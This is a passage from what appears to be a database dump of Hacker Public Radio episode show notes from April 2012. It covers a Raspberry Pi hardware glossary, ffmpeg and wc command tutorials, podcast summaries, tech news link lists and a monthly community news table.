transport of compressed, uncompressed, and LPCM audio, auxiliary data, and implementations of the VESA EDID. HDMI supports, on a single cable, any uncompressed TV or PC video format, including standard, enhanced, high definition and 3D video signals; up to 8 channels of compressed or uncompressed digital audio; a Consumer Electronics Control (CEC) connection; and an Ethernet data connection.\r\n</p>\r\n<p>\r\n<strong>General Purpose Input/Output</strong> (a.k.a. GPIO) is a generic pin on a chip whose behavior (including whether it is an input or output pin) can be controlled (programmed) through software.<br />\r\nGPIO pins have no special purpose defined, and go unused by default. The idea is that sometimes the system integrator building a full system that uses the chip might find useful to have a handful of additional digital control lines, and having these available from the chip can save the hassle of having to arrange additional circuitry to provide them. For example, the Realtek ALC260 chips (audio codec) have 4 GPIO pins, which go unused by default. Some system integrators (Acer laptops) employing the ALC260 use the first GPIO (GPIO0) to turn on the amplifier used for the laptop\'s internal speakers and external headphone jack.\r\n</p>\r\n<p>\r\n<strong>A Universal Asynchronous Receiver/Transmitter</strong>, abbreviated UART is a type of \"asynchronous receiver/transmitter\", a piece of computer hardware that translates data between parallel and serial forms. UARTs are commonly used in conjunction with communication standards such as EIA, RS-232, RS-422 or RS-485. The universal designation indicates that the data format and transmission speeds are configurable and that the actual electric signaling levels and methods (such as differential signaling etc.) typically are handled by a special driver circuit external to the UART.<br />\r\nA UART is usually an individual (or part of an) integrated circuit used for serial communications over a computer or peripheral device serial port. UARTs are now commonly included in microcontrollers. A dual UART, or DUART, combines two UARTs into a single chip. Many modern ICs now come with a UART that can also communicate synchronously; these devices are called USARTs (universal synchronous/asynchronous receiver/transmitter).\r\n</p>\r\n<p>\r\n<strong>I²C</strong> (\"i-squared cee\"; Inter-Integrated Circuit; generically referred to as \"two-wire interface\") is a multi-master serial single-ended computer bus invented by Philips that is used to attach low-speed peripherals to a motherboard, embedded system, cellphone, or other electronic device. Since the mid 1990s, several competitors (e.g., Siemens AG (later Infineon Technologies AG), NEC, Texas Instruments, STMicroelectronics (formerly SGS-Thomson), Motorola (later Freescale), Intersil, etc.) brought I²C products on the market, which are fully compatible with the NXP (formerly Philips\'s semiconductor division) I²C-system. As of October 10, 2006, no licensing fees are required to implement the I²C protocol. However, fees are still required to obtain I²C slave addresses allocated by NXP.<BR />\r\nSMBus, defined by Intel in 1995, is a subset of I²C that defines the protocols more strictly. One purpose of SMBus is to promote robustness and interoperability. Accordingly, modern I²C systems incorporate policies and rules from SMBus, sometimes supporting both I²C and SMBus with minimal re-configuration required.\r\n</p>\r\n<p>\r\n<strong><img  alt=\"Serial Peripheral Interface Bus bus diagram\" width=400 src=\"https://upload.wikimedia.org/wikipedia/commons/e/ed/SPI_single_slave.svg\" /><br />The Serial Peripheral Interface Bus</strong> or SPI (pronounced like \"S.P.I.\" or \"spy\") bus is a synchronous serial data link standard named by Motorola that operates in full duplex mode. Devices communicate in master/slave mode where the master device initiates the data frame. Multiple slave devices are allowed with individual slave select (chip select) lines. Sometimes SPI is called a \"four-wire\" serial bus, contrasting with three-, two-, and one-wire serial buses.\r\n</p>\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">https://en.wikipedia.org/wiki/Raspberry_Pi</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/faqs\">https://www.raspberrypi.org/faqs</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">https://en.wikipedia.org/wiki/Raspberry_Pi</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Composite_video\">https://en.wikipedia.org/wiki/Composite_video</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/HDMI\">https://en.wikipedia.org/wiki/HDMI</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/General_Purpose_Input/Output\">https://en.wikipedia.org/wiki/General_Purpose_Input/Output</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Universal_asynchronous_receiver/transmitter\">https://en.wikipedia.org/wiki/Universal_asynchronous_receiver/transmitter</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/I%C2%B2C\">https://en.wikipedia.org/wiki/I%C2%B2C</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus\">https://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/USB#Mini_and_Micro_connectors\">https://en.wikipedia.org/wiki/USB#Mini_and_Micro_connectors</a></li>\r\n</ol>\r\n',30,0,1,'CC-BY-SA','Broadcom BCM2835,HDMI,GPIO,UART,i2c,SPI',0,2484,1),
(968,'2012-04-17','FFMPEG for video Conversion',629,'Using <em>ffmpeg</em> to convert videos','Hello Hacker Public Radio<br />\r\nBrocktonBob here with my tutorial on how I use FFMPEG to convert videos to any format I like.<br />\r\nFFMPEG is a terminal program used in Linux, but Windows and Mac users can use WINFF which\r\nis the gui frontend for FFMPEG.<br />\r\nFFMPEG is more powerful than WINFF because you have more control when you use the terminal than a gui. Below are the examples I used in this podcast.<br />\r\nI hope you give it a try<br />\r\n<br />\r\nMy Examples:<br />\r\n<pre>\r\nffmpeg -i glue.flv glue.avi\r\nffmpeg -i glue.flv glue.mp3\r\nffmpeg -i glue.flv -target ntsc-dvd output.mpg\r\n</pre>\r\n',202,0,1,'CC-BY-SA','video,conversion,ffmpeg,winff',0,2157,1),
(969,'2012-04-19','The Crivins Audiocast',4717,'Crivins - episode 10','<p>\r\nToday it\'s the <strong>The Crivins Audiocast</strong> at <a href=\"https://unseenstudio.co.uk/\">https://unseenstudio.co.uk/</a> and from their website it is <em>A Linux / FOSS show with a strong Scottish flavour hosted by ThistleWeb &amp; Kevie. This show carries a strong language warning.</em>\r\n</p>\r\n<p>Wur back wi a mair regular style o\' episode fur episode 10, an wi start aff wi a lil gem o\' a thing; a Javascript version o Tron in a ridiculously wee number o\' lines o\' code. Nixt up, wi say strewth tae the Aussie boabies wha are noo roamin\' the streets fur open wifi networks tae scare folks intae closin\' em.</p>\r\n<!--break-->\r\n<p>Ye cannae say wur no dain\' oor public doody, wi pit oot a call fur the poor truck driver wha loast his joab due tae them theivin\' scunners, the interwebs pirates. Then wi note that it\'s the same ol\' same \'ol at Microsoft, wi the EU staff bein\' urged tae refuse bribes in the form o\' free Windaes an\' Office licences. Finally, wi note that despite Mozilla flyin\' the flag fur user privacy, why would any companies respect the \"dinnae track\" option?</p>\r\n<p>In oor discussion this week, wi focussed oan the plight o\' Game; the video game specialist chain in the UK wha went intae administration this week, whar they went wrang, an if it\'s inevitable and just a sign o\' the times.</p>\r\n<h2>English Translation</h2>\r\n<p>We\'re back with a more regular type of episode for episode 10, and we start off with a gem of a thing; a Javascript version of Tron in a ridiculously small number of lines of code. Next up, we say strewth to the Aussie bobbies who are now roaming the streets for open wifi networks to scare folks into closing them.</p>\r\n<p>You can\'t say we\'re not doing our public doody, we put the call out for the poor truck driver who lost his job due to them thieving bastards, the interwebs pirates. Then we note that it\'s the same old same old at Microsoft, with the EU staff being urged to refuse bribes in the form of Windows and Office licenses. Finally we note that despite Mozilla flying the flag for user privacy, why would any companies respect the \"do not track\" option?</p>\r\n<p>In our discussion this week, we focussed on the plight of Game; the video game specialist chain in the UK who went into administration this week, where they went wrong, and if it\'s inevitable and just a sign of the times.</p>\r\n<hr /><h2>Links</h2>\r\n<ul><li><a href=\"https://developers.slashdot.org/story/12/03/25/1442228/javascript-game-of-tron-in-226-bytes\" title=\"Javascript Game of Tron In 226 Bytes\">Javascript Game of Tron In 226 Bytes</a></li>\r\n<li><a href=\"https://www.techdirt.com/blog/wireless/articles/20120323/03334818222/australian-police-to-go-wardriving-telling-people-to-lock-up-their-wifi.shtml\" title=\"Australian Police To Go Wardriving, Telling People To Lock Up Their WiFi \">Australian Police To Go Wardriving, Telling People To Lock Up Their WiFi </a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120322/11152418211/wanted-truck-driver-who-lost-his-job-due-to-file-sharing.shtml\" title=\"Wanted: The Truck Driver Who Lost His Job Due To File Sharing\">Wanted: The Truck Driver Who Lost His Job Due To File Sharing</a></li>\r\n<li><a href=\"https://www.macworld.co.uk/digitallifestyle/news/?newsid=3346846\" title=\"EU parliment staff urged to reject Microsoft bribe\">EU parliment staff urged to reject Microsoft bribe</a></li>\r\n<li><a href=\"https://www.computerworlduk.com/news/operating-systems/3346904/mozilla-working-on-do-not-track-support-for-open-source-mobile-os/\" title=\"Mozilla allows user to set \'Do not track\' easily, but will companies listen to this optional request\">Mozilla allows user to set \'Do not track\' easily, but will companies listen to this optional request</a></li>\r\n<li><a href=\"https://paidcontent.org/article/419-how-game-group-blew-it-digital-strategy-was-not-adopted\" title=\"How Game Group Blew It: Digital Strategy Was Not Adopted Sooner\">How Game Group Blew It: Digital Strategy Was Not Adopted Sooner</a></li>\r\n</ul><h2>Tunes</h2>\r\n<ul><li><a href=\"https://www.jamendo.com/en/track/188743\" title=\"Amity in Fame - New Born Son\">Amity in Fame - New Born Son</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/899991\" title=\"Daedalus\' Right Eye - Dream Catcher\">Daedalus\' Right Eye - Dream Catcher</a></li>\r\n</ul>\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://developers.slashdot.org/story/12/03/25/1442228/javascript-game-of-tron-in-226-bytes\">https://developers.slashdot.org/story/12/03/25/1442228/javascript-game-of-tron-in-226-bytes</a></li>\r\n<li><a href=\"https://www.techdirt.com/blog/wireless/articles/20120323/03334818222/australian-police-to-go-wardriving-telling-people-to-lock-up-their-wifi.shtml\">https://www.techdirt.com/blog/wireless/articles/20120323/03334818222/australian-police-to-go-wardriving-telling-people-to-lock-up-their-wifi.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120322/11152418211/wanted-truck-driver-who-lost-his-job-due-to-file-sharing.shtml\">https://www.techdirt.com/articles/20120322/11152418211/wanted-truck-driver-who-lost-his-job-due-to-file-sharing.shtml</a></li>\r\n<li><a href=\"https://www.macworld.co.uk/digitallifestyle/news/?newsid=3346846\">https://www.macworld.co.uk/digitallifestyle/news/?newsid=3346846</a></li>\r\n<li><a href=\"https://www.computerworlduk.com/news/operating-systems/3346904/mozilla-working-on-do-not-track-support-for-open-source-mobile-os/\">https://www.computerworlduk.com/news/operating-systems/3346904/mozilla-working-on-do-not-track-support-for-open-source-mobile-os/</a></li>\r\n<li><a href=\"https://paidcontent.org/article/419-how-game-group-blew-it-digital-strategy-was-not-adopted\">https://paidcontent.org/article/419-how-game-group-blew-it-digital-strategy-was-not-adopted</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/188743\">https://www.jamendo.com/en/track/188743</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/899991\">https://www.jamendo.com/en/track/899991</a></li>\r\n</ol>\r\n',158,54,1,'CC-BY-SA','crivins,audiocast',0,2173,1),
(970,'2012-04-19','TGTM Newscast for 2012/4/15',956,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/4/15</h2>\r\n<p>From <a href=\"https://www.talkgeektome.us/tgtmnews-67.html\">https://www.talkgeektome.us/tgtmnews-67.html</a></p>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://venezuelanalysis.com/analysis/6916\">US Policy Increasingly Out of Touch with Latin America’s New Political Reality</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Banks_Fight_Credit_Unions_over_5_Percent_of_Small_Business_Loan_Market_120409\">Banks Fight Credit Unions over 5% of Small Business Loan Market</a></li>\r\n  <li><a href=\"https://www.democracynow.org/2012/4/10/headlines#14\">Wisconsin Gov. Scott Walker Privately Signs Anti-Abortion, Sex Ed Laws</a></li>\r\n  <li><a href=\"https://inthesetimes.com/article/13022/vermont_yankee_a_nuclear_battle_over_states_rights/\">Vermont Yankee: A Nuclear Battle Over States’ Rights</a></li>\r\n  <li><a href=\"https://www.iww.org/en/content/federal-court-orders-fbi-turn-over-evidence-independent-forensic-analysis-1990-judi-bari-car\">Federal Court Orders FBI To Turn Over Evidence for Independent Forensic Analysis in 1990 Judi Bari Car Bombing Case</a></li>\r\n  <li><a href=\"https://torrentfreak.com/megaupload-host-refuses-to-delete-user-data-and-evidence-120410/\">Megaupload Host Refuses to Delete User Data and Evidence, For Now</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Homeland_Security_and_Navy_Award_Contract_to_Hack_into_Gaming_Systems_120411\">Homeland Security and Navy Award Contract to Hack into Gaming Systems</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120411/07155418453/breaking-us-sues-apple-publishers-over-ebook-price-fixing.shtml\">Breaking: U.S. Sues Apple, Publishers Over eBook Price-Fixing</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120410/10512618441/no-violating-your-employers-computer-use-policy-is-not-criminal-hacking.shtml\">No, Violating Your Employer\'s Computer Use Policy Is Not Criminal Hacking</a></li>\r\n  <li><a href=\"https://peoplesworld.org/facebook-consumes-instagram-grows-more-massive/\">Facebook consumes Instagram, grows more massive</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://www.scoop.co.nz/stories/WO1204/S00211/inter-parliamentary-union-calls-for-freedom-for-plc-members.htm\">Inter-Parliamentary Union Calls for Freedom for PLC Members</a></li>\r\n  <li><a href=\"https://www.guardian.co.uk/world/2012/mar/29/journalists-us-anti-terrorism-law-ndaa\">US anti-terrorism law curbs free speech and activist work, court told</a></li>\r\n  <li><a href=\"https://libcom.org/blog/coping-clopening-retail-worker%E2%80%99s-most-dreaded-shift-11042012\">Coping with Clopening: Retail Worker’s Most Dreaded Shift</a></li>\r\n  <li><a href=\"https://www.globalmeatnews.com/Industry-Markets/Russia-accuses-Georgia-of-swine-fever-sabotage\">Russia accuses Georgia of swine fever sabotage</a></li>\r\n  <li><a href=\"https://sacsis.org.za/site/article/1262\">How the West Used Libya to Hijack the Arab Revolts</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" \"iww.org,\"&nbsp; \"inthesetimes.com,\" and\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"venezuelanalysis.com,\" \"democracynow.org,\" and\r\n\"peoplesworld.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br/>\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://www.talkgeektome.us/tgtmnews-67.html\">https://www.talkgeektome.us/tgtmnews-67.html</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/6916\">https://venezuelanalysis.com/analysis/6916</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Banks_Fight_Credit_Unions_over_5_Percent_of_Small_Business_Loan_Market_120409\">https://www.allgov.com//ViewNews/Banks_Fight_Credit_Unions_over_5_Percent_of_Small_Business_Loan_Market_120409</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/4/10/headlines#14\">https://www.democracynow.org/2012/4/10/headlines#14</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13022/vermont_yankee_a_nuclear_battle_over_states_rights/\">https://inthesetimes.com/article/13022/vermont_yankee_a_nuclear_battle_over_states_rights/</a></li>\r\n<li><a href=\"https://www.iww.org/en/content/federal-court-orders-fbi-turn-over-evidence-independent-forensic-analysis-1990-judi-bari-car\">https://www.iww.org/en/content/federal-court-orders-fbi-turn-over-evidence-independent-forensic-analysis-1990-judi-bari-car</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-host-refuses-to-delete-user-data-and-evidence-120410/\">https://torrentfreak.com/megaupload-host-refuses-to-delete-user-data-and-evidence-120410/</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Homeland_Security_and_Navy_Award_Contract_to_Hack_into_Gaming_Systems_120411\">https://www.allgov.com//ViewNews/Homeland_Security_and_Navy_Award_Contract_to_Hack_into_Gaming_Systems_120411</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120411/07155418453/breaking-us-sues-apple-publishers-over-ebook-price-fixing.shtml\">https://www.techdirt.com/articles/20120411/07155418453/breaking-us-sues-apple-publishers-over-ebook-price-fixing.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120410/10512618441/no-violating-your-employers-computer-use-policy-is-not-criminal-hacking.shtml\">https://www.techdirt.com/articles/20120410/10512618441/no-violating-your-employers-computer-use-policy-is-not-criminal-hacking.shtml</a></li>\r\n<li><a href=\"https://peoplesworld.org/facebook-consumes-instagram-grows-more-massive/\">https://peoplesworld.org/facebook-consumes-instagram-grows-more-massive/</a></li>\r\n<li><a href=\"https://www.scoop.co.nz/stories/WO1204/S00211/inter-parliamentary-union-calls-for-freedom-for-plc-members.htm\">https://www.scoop.co.nz/stories/WO1204/S00211/inter-parliamentary-union-calls-for-freedom-for-plc-members.htm</a></li>\r\n<li><a href=\"https://www.guardian.co.uk/world/2012/mar/29/journalists-us-anti-terrorism-law-ndaa\">https://www.guardian.co.uk/world/2012/mar/29/journalists-us-anti-terrorism-law-ndaa</a></li>\r\n<li><a href=\"https://libcom.org/blog/coping-clopening-retail-worker%E2%80%99s-most-dreaded-shift-11042012\">https://libcom.org/blog/coping-clopening-retail-worker%E2%80%99s-most-dreaded-shift-11042012</a></li>\r\n<li><a href=\"https://www.globalmeatnews.com/Industry-Markets/Russia-accuses-Georgia-of-swine-fever-sabotage\">https://www.globalmeatnews.com/Industry-Markets/Russia-accuses-Georgia-of-swine-fever-sabotage</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1262\">https://sacsis.org.za/site/article/1262</a></li>\r\n</ol>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2072,1),
(971,'2012-04-23','/dev/random episode 00',4688,'Episode zero of the /dev/random podcast','<h2>\r\n/dev/random SHOWNOTES:\r\n</h2>\r\n<p>\r\nDrizzle DB\r\n<a href=\"https://www.infoworld.com/d/open-source-software/non-oracle-mysql-fork-deemed-ready-prime-time-853\">https://www.infoworld.com/d/open-source-software/non-oracle-mysql-fork-deemed-ready-prime-time-853</a>\r\n</p>\r\n<p>\r\nHorde\'s Backdoor\r\n<a href=\"https://www.h-online.com/open/news/item/Horde-Groupware-contains-backdoor-1433972.html\">https://www.h-online.com/open/news/item/Horde-Groupware-contains-backdoor-1433972.html</a>\r\n</p>\r\n<p>\r\nHorde Android App\r\n<a href=\"https://www.h-online.com/open/news/item/Horde-Groupware-4-0-released-1261533.html\">https://www.h-online.com/open/news/item/Horde-Groupware-4-0-released-1261533.html</a>\r\n</p>\r\n<p>\r\nLego ZX81\r\n<a href=\"https://www.flickr.com/photos/hairydalek/sets/72157629011228815/\">https://www.flickr.com/photos/hairydalek/sets/72157629011228815/</a>\r\n</p>\r\n<p>\r\nThe Value of Debian\'s Code.\r\n<a href=\"https://www.h-online.com/open/news/item/Developer-values-Debian-at-Lb12-1-billion-1434751.html\">https://www.h-online.com/open/news/item/Developer-values-Debian-at-Lb12-1-billion-1434751.html</a>\r\n</p>\r\n<p>\r\nWebKit CSS to be Supported by Microsoft, Mozilla, and Opera \r\n<a href=\"https://www.h-online.com/open/news/item/WebKit-dominance-threatens-the-open-web-1431969.html\">https://www.h-online.com/open/news/item/WebKit-dominance-threatens-the-open-web-1431969.html</a>\r\n</p>\r\n<p>\r\nPostgres Plus Advanced Server 9.1\r\n<a href=\"https://www.h-online.com/open/news/item/EnterpriseDB-s-Postgres-Plus-Advanced-Server-9-1-ships-1431888.html\">https://www.h-online.com/open/news/item/EnterpriseDB-s-Postgres-Plus-Advanced-Server-9-1-ships-1431888.html</a>\r\n</p>\r\n<p>\r\nVLC 2.0 Released\r\n<a href=\"https://www.videolan.org/vlc/releases/2.0.0.html\">https://www.videolan.org/vlc/releases/2.0.0.html</a>\r\n</p>\r\n<p>\r\nEthical hacker jailed for discovering Facebook security vulnerabilities\r\n<a href=\"https://slashdot.org/submission/1948605/ethical-hacker-jailed-for-discovering-facebook-security-vulnerabilities\">https://slashdot.org/submission/1948605/ethical-hacker-jailed-for-discovering-facebook-security-vulnerabilities</a>\r\n</p>\r\n<p>\r\nDARPA\'s Avatar Project\r\n<a href=\"https://science.slashdot.org/story/12/02/17/1910222/darpa-researches-avatar-surrogates\">https://science.slashdot.org/story/12/02/17/1910222/darpa-researches-avatar-surrogates</a>\r\n</p>\r\n<p>\r\nWindowMaker 0.95.2 Released\r\n<a href=\"https://windowmaker.org/news.php\">https://windowmaker.org/news.php</a>\r\n</p>',120,0,1,'CC-BY-SA','podcast',0,2250,1),
(972,'2012-04-24','LiTS 005: wc',538,'Print newline, word, and byte counts for files with the <em>wc</em> command','<p>Fear not Dann has not decided to branch and do a plumbing show. Rather he sticks with the plan and brings us yet another excellent explanation of a common unix utility, namely <strong>wc</strong></p> \r\n\r\n<p>\r\n<a href=\"https://www.linuxintheshell.com/2012/04/24/episode-005-wc/\">https://www.linuxintheshell.com/2012/04/24/episode-005-wc/</a>\r\n</p>\r\n\r\n<p>Ever want to know how many lines are in a file? How about how many words are in a file or even how many characters? Well then the “wc” command is just for you. The “wc” command, short for word count, is a very simple command that will print “new line, word and byte counts for file specified, and a total count for all files combined if more than one file is included.”</p>\r\n<p>Consider the following little ditty:</p>\r\n<blockquote><p>the linux wc command<br>\r\nfor those not in the know<br>\r\nstands for word count and<br>\r\ndoes a lot you should know</p>\r\n<p>It counts lines and words and bytes<br>\r\nproducing output on site<br>\r\nquickly giving you the numbers<br>\r\nwithout any blunders</p></blockquote>\r\n<p>Executing the following command:</p>\r\n<blockquote><p>wc poem.txt</p></blockquote>\r\n<p>Results in the following output:</p>\r\n<blockquote><p>9 40 215 poem.txt</p></blockquote>\r\n<p>To break it down:</p>\r\n<ul>\r\n<li>9 lines</li>\r\n<li>40 words</li>\r\n<li>215 characters</li>\r\n</p>\r\n',7,67,1,'CC-BY-SA','wc',0,2466,1),
(973,'2012-04-24','Freedom is not Free 4 - Money',1416,'Part 4 of the \"Freedom is not Free\" series','<p>In the fourth of his series \"Freedom is not Free\" Ahuka discusses how you can contribute money to support projects.</p>\r\n<a href=\"https://ohiolinux.org/node/186\">https://ohiolinux.org/node/186</a>',198,69,1,'CC-BY-SA','FOSS,FLOSS,financial support',0,2042,1),
(974,'2012-04-25','NELF: FreeNAS ',2395,'A presentation from the North East Linux Fest about FreeNAS','<p>\r\nToday we listen in on a presentation given at the <a href=\"https://northeastlinuxfest.org/\">North East Linux Fest (https://northeastlinuxfest.org/)</a>. The speaker was Dru Lavigne - Director of the FreeBSD Foundation and her talk was about <strong>FreeNAS</strong>.</p>\r\n<p>\r\nThe slides can be found at <a href=\"https://www.slideshare.net/dlavigne/nelf2012\">https://www.slideshare.net/dlavigne/nelf2012</a>\r\n</p>\r\n',158,54,1,'CC-BY-SA','NELF,NAS,FreeBSD,FreeNAS',0,2252,1),
(975,'2012-04-27','Why 16 Cores ?',265,'Do modern workstations need as many as 16 cores?','DeepGeek is on sabbatical but as luck would have it we have one of his regular contributions to fill the gap. \r\n<br />\r\nThe title says it all.',73,0,1,'CC-BY-SA','workstation,CPU,cores',0,2289,1),
(976,'2012-04-30','HPR Community News (March 2012)',4359,'HPR Community News (March 2012)','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=204\">Klaas-Jan Koopman</a>,\r\nand \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=212\">DoorToDoorGeek</a>.\r\n<br />\r\nIf you would like to become a HPR host then please head over to <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>\r\n\r\n<table>\r\n<thead>\r\n<tr><th class=\"condition\">id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">957</td>\r\n<td  class=\"data inline_edit not_null odd  \">Freedom is not Free 3 - Documentation</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">958</td>\r\n<td  class=\"data inline_edit not_null even  \">KDE Gathering-Plasma Active-THE Tablet</td>\r\n<td  class=\"data inline_edit not_null even  \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">959</td>\r\n<td  class=\"data inline_edit not_null odd  \">The Orca Screen Reader</td>\r\n<td  class=\"data inline_edit not_null odd  \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">960</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Newscast for 2012/04/04 </td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">961</td>\r\n<td  class=\"data inline_edit not_null odd  \">Experiences in a mental hospital</td>\r\n<td  class=\"data inline_edit not_null odd  \">sigflup</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">962</td>\r\n<td  class=\"data inline_edit not_null even  \">LITS: Episode 004 - paste</td>\r\n<td  class=\"data inline_edit not_null even  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">963</td>\r\n<td  class=\"data inline_edit not_null odd  \">How I cut the cord part 3</td>\r\n<td  class=\"data inline_edit not_null odd  \">BrocktonBob</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">964</td>\r\n<td  class=\"data inline_edit not_null even  \">Sunday Morning Linux Review Episode 026</td>\r\n<td  class=\"data inline_edit not_null even  \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">965</td>\r\n<td  class=\"data inline_edit not_null odd  \">TGTM Newscast for 2012/4/4</td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">966</td>\r\n<td  class=\"data inline_edit not_null even  \">The wisdom of our elders</td>\r\n<td  class=\"data inline_edit not_null even  \">DoorToDoorGeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">967</td>\r\n<td  class=\"data inline_edit not_null odd  \">Raspberry Pi spec review</td>\r\n<td  class=\"data inline_edit not_null odd  \">Klaas-Jan Koopman</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">968</td>\r\n<td  class=\"data inline_edit not_null even  \">FFMPEG for video Conversion</td>\r\n<td  class=\"data inline_edit not_null even  \">BrocktonBob</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">969</td>\r\n<td  class=\"data inline_edit not_null odd  \">The Crivins Audiocast</td>\r\n<td  class=\"data inline_edit not_null odd  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">970</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Newscast for 2012/4/15</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">971</td>\r\n<td  class=\"data inline_edit not_null odd  \">/dev/random episode 00</td>\r\n<td  class=\"data inline_edit not_null odd  \">pegwole</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">972</td>\r\n<td  class=\"data inline_edit not_null even  \">LITS: Episode 005 - wc</td>\r\n<td  class=\"data inline_edit not_null even  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">973</td>\r\n<td  class=\"data inline_edit not_null odd  \">Freedom is not Free 4 - Money</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">974</td>\r\n<td  class=\"data inline_edit not_null even  \">NELF: FreeNAS </td>\r\n<td  class=\"data inline_edit not_null even  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">975</td>\r\n<td  class=\"data inline_edit not_null odd  \">Why 16 Cores ?</td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Other News</h2>\r\n<p>\r\nDeep geek will be taking some time off from recording Talk Geek to Me, to upgrade some of his technology. He should be back in June or July.\r\n</p>\r\n<p>\r\nDavid Whitman says that the HPR conference kit, such as it is, has arrived safely and in time for LFNW (https://linuxfestnorthwest.org/). He has built quite a display to go behind the table, and he\'ll probably draw quite a crowd. He\'s making good use of Ken\'s presentation slides too, and those will play on a loop at the table. LFNW is going on 